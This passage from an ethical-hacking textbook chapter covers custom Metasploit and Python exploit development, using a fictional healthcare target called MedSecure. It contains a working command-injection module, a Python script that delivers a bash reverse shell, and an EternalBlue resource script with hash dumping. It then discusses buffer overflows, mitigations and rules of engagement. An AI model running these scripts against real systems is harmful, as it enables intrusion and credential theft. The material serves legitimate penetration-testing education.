12.8.1 When Custom Scripts Are Needed
While Metasploit's module library is vast, you will encounter situations where no existing module fits:
- A newly disclosed vulnerability with no public exploit yet
- A custom or proprietary application specific to the target organization
- A known vulnerability that requires modification for the specific target environment
- Automation of multi-step attack chains
12.8.2 Metasploit Module Structure
Every Metasploit exploit module follows a consistent structure:
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Custom MedSecure EHR Exploit',
'Description' => %q{
This module exploits a command injection vulnerability
in the MedSecure Electronic Health Record system v3.2.1
},
'Author' => ['Your Name'],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2026-XXXXX'],
['URL', 'https://example.com/advisory']
],
'Platform' => 'linux',
'Targets' =>
[
['MedSecure EHR 3.2.1 on Ubuntu', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-01-15'
))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Base path', '/ehr/'])
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'version')
})
if res && res.body.include?('3.2.1')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Sending exploit to #{rhost}:#{rport}...")
payload_cmd = payload.encoded
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/patient/search'),
'vars_post' => {
'query' => "'; #{payload_cmd} #"
}
})
if res && res.code == 200
print_good("Exploit sent successfully!")
else
fail_with(Failure::UnexpectedReply, "Server returned unexpected response")
end
end
end
12.8.3 Python-Based Exploit Development
While Metasploit modules are written in Ruby, many exploit developers prefer Python for rapid prototyping. Python's rich library ecosystem (requests, pwntools, scapy) makes it excellent for exploit development:
#!/usr/bin/env python3
"""
Custom exploit for MedSecure EHR Command Injection
CVE-2026-XXXXX
AUTHORIZED SECURITY TESTING ONLY
This script is provided for educational purposes and authorized
penetration testing only. Unauthorized use is illegal.
"""
import requests
import sys
import argparse
def check_vulnerable(target, port):
"""Check if target is running vulnerable version."""
try:
url = f"http://{target}:{port}/ehr/version"
resp = requests.get(url, timeout=5)
if '3.2.1' in resp.text:
print(f"[+] Target appears vulnerable: {resp.text.strip()}")
return True
else:
print(f"[-] Target does not appear vulnerable: {resp.text.strip()}")
return False
except Exception as e:
print(f"[-] Error checking target: {e}")
return False
def exploit(target, port, lhost, lport):
"""Execute the exploit."""
# Reverse shell payload
payload = (
f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
)
url = f"http://{target}:{port}/ehr/api/patient/search"
data = {
'query': f"'; {payload} #"
}
print(f"[*] Sending payload to {target}:{port}...")
print(f"[*] Catch the shell with: nc -lvnp {lport}")
try:
requests.post(url, data=data, timeout=5)
except requests.exceptions.Timeout:
print("[+] Request timed out - this may indicate success")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='MedSecure EHR Exploit')
parser.add_argument('target', help='Target IP')
parser.add_argument('-p', '--port', type=int, default=8080)
parser.add_argument('--lhost', required=True, help='Listener IP')
parser.add_argument('--lport', type=int, default=4444, help='Listener port')
parser.add_argument('--check', action='store_true', help='Check only')
args = parser.parse_args()
if args.check:
check_vulnerable(args.target, args.port)
else:
if check_vulnerable(args.target, args.port):
exploit(args.target, args.port, args.lhost, args.lport)
12.8.4 Resource Scripts for Automation
Metasploit resource scripts (.rc files) automate repetitive tasks:
# medsecure_exploit.rc
# Automated exploitation of MedSecure FILE01
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.70
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.5
set LPORT 4444
set AutoRunScript post/windows/gather/hashdump
exploit -j
# Wait for session, then run post-exploitation
use post/windows/gather/enum_applications
set SESSION 1
run
use post/windows/gather/enum_logged_on_users
set SESSION 1
run
Load resource scripts with:
msf6 > resource /path/to/medsecure_exploit.rc
Or from the command line:
msfconsole -r /path/to/medsecure_exploit.rc
🧪 Try It in Your Lab: Set up a vulnerable Windows VM (Windows 7 SP1 without MS17-010 patch, or use Metasploitable3) and practice the complete exploitation workflow: search for the exploit, configure options, run check, exploit, and perform post-exploitation. Document every step as if writing a professional penetration test report.
12.9 Exploit Development Concepts
12.9.1 Understanding Buffer Overflows
While deep exploit development is beyond this chapter's scope, understanding the fundamental concept of buffer overflows is essential for any ethical hacker.
A buffer overflow occurs when a program writes data beyond the boundary of an allocated memory buffer. In languages like C and C++ that do not perform automatic bounds checking, this can allow an attacker to overwrite adjacent memory.
Stack-Based Buffer Overflow (Simplified):
Normal Stack Layout:
+------------------+
| Local Variables | <-- Buffer lives here
+------------------+
| Saved EBP | <-- Previous frame pointer
+------------------+
| Return Address | <-- Where execution returns after function
+------------------+
| Function Args |
+------------------+
After Overflow:
+------------------+
| AAAAAAAAAAAAAAAA | <-- Buffer overflowed
+------------------+
| AAAA (overwritten)| <-- Saved EBP destroyed
+------------------+
| 0xDEADBEEF | <-- Return address overwritten with attacker's address
+------------------+
| Function Args |
+------------------+
When the function returns, instead of jumping back to the legitimate caller, execution jumps to the attacker's chosen address—typically pointing to shellcode placed elsewhere in memory.
12.9.2 Modern Exploit Mitigations
Modern operating systems implement multiple defenses against memory corruption exploits:
- ASLR (Address Space Layout Randomization) — Randomizes the base addresses of the stack, heap, and libraries, making it unpredictable where code and data reside in memory.
- DEP/NX (Data Execution Prevention / No-Execute) — Marks data regions as non-executable, preventing the direct execution of injected shellcode on the stack or heap.
- Stack Canaries — Places a random value (the "canary") before the return address on the stack. If a buffer overflow overwrites the canary, the program detects the corruption and terminates.
- CFI (Control Flow Integrity) — Restricts indirect branches to a set of valid targets, preventing many code-reuse attacks.
- RELRO (Relocation Read-Only) — Resolves dynamic symbols at load time and marks the GOT (Global Offset Table) as read-only, preventing GOT overwrite attacks.
These mitigations have dramatically raised the bar for exploitation, but they are not insurmountable. Techniques like ROP (Return-Oriented Programming) chain existing code snippets ("gadgets") to bypass DEP, and information leaks can defeat ASLR.
🔵 Blue Team Perspective: Ensure all compiled applications use full exploit mitigations. On Windows, enable mandatory ASLR and Control Flow Guard (CFG) via Windows Defender Exploit Guard. On Linux, compile with
-fstack-protector-all,-D_FORTIFY_SOURCE=2, and enable full RELRO. Regularly audit your software supply chain for components compiled without mitigations.
12.10 Responsible Exploitation Practices
12.10.1 Rules of Engagement
Before any exploitation activity, you must have a clear, signed Rules of Engagement document that specifies:
- Scope — Exactly which systems, networks, and applications are in scope
- Timing — When testing may occur (business hours, after hours, maintenance windows)
- Techniques — Which exploitation techniques are permitted (e.g., denial of service may be prohibited)
- Data handling — How sensitive data encountered during testing must be handled
- Communication — Emergency contacts and escalation procedures
- Cleanup — Requirements for removing all exploitation artifacts
12.10.2 The "Do No Harm" Principle
In healthcare environments like MedSecure, the stakes are higher than in most other industries. A crashed system could mean:
- A patient's vital signs are no longer monitored
- Medication dispensing systems go offline
- Emergency room systems become unavailable
- Surgical equipment loses connectivity
Always start with the least destructive exploitation techniques. Use the check command before exploiting. Prefer exploits ranked "Excellent" or "Great" that are unlikely to crash services. Schedule exploitation of critical systems during maintenance windows with clinical staff on standby.
12.10.3 Documentation and Evidence Collection
Every exploitation activity must be documented with:
- Timestamp of the activity
- Source and destination IP addresses and ports
- Exact commands or module configurations used
- Screenshots of successful exploitation
- Data accessed (type and quantity, not the actual sensitive data)
- Business impact assessment — What could an attacker do with this level of access?
Meterpreter's screenshot, screenshare, and session logging features are invaluable for evidence collection:
meterpreter > screenshot
Screenshot saved to: /root/rJxKmNzV.jpeg
# Enable session logging
msf6 > set SessionLogging true
msf6 > set LogDirectory /root/medsecure_logs/
Chapter Summary
This chapter introduced you to the fundamentals of exploitation and the Metasploit Framework. You learned that exploitation is the controlled process of leveraging vulnerabilities to demonstrate real security impact—always within the bounds of legal authorization and professional ethics.
We explored Metasploit's modular architecture, from the Rex library foundation through the exploit, payload, auxiliary, and post-exploitation module types. You learned how to search for and select appropriate exploits, configure payloads and handlers, and use Meterpreter for powerful post-exploitation activities including credential harvesting, lateral movement, and pivoting.
We applied these techniques to the MedSecure Health Systems scenario, demonstrating how a single unpatched file server could lead to domain-wide compromise. You also began exploring custom exploit development, both in Ruby (for Metasploit modules) and Python (for standalone scripts).
The skills in this chapter are among the most powerful—and most dangerous—in the ethical hacker's toolkit. They carry enormous responsibility. Every technique must be applied only with explicit authorization, careful planning, and meticulous documentation.
In Chapter 13, we will build on these exploitation fundamentals to explore network-based attacks, including ARP spoofing, man-in-the-middle attacks, DNS poisoning, and lateral movement techniques that allow attackers to spread through an organization's network.
Key Terms
| Term | Definition |
|---|---|
| Exploitation | The process of leveraging a vulnerability to achieve an unintended outcome |
| Payload | Code that executes on the target after successful exploitation |
| Meterpreter | Metasploit's advanced, in-memory, extensible payload |
| Stager | Small payload that downloads a larger stage |
| Handler | Listener that catches reverse connections from payloads |
| Post-exploitation | Activities performed after gaining initial access |
| Pivoting | Using a compromised system to access otherwise unreachable networks |
| Encoder | Tool that transforms payloads to evade detection |
| Resource script | Metasploit automation script (.rc file) |
| Buffer overflow | Writing beyond buffer boundaries to corrupt memory |
| ASLR | Randomization of memory layout to prevent exploitation |
| DEP/NX | Marking memory regions as non-executable |
| Lateral movement | Moving from one compromised system to others |
| Persistence | Mechanisms to maintain access across reboots |
| Rules of Engagement | Document specifying authorized testing parameters |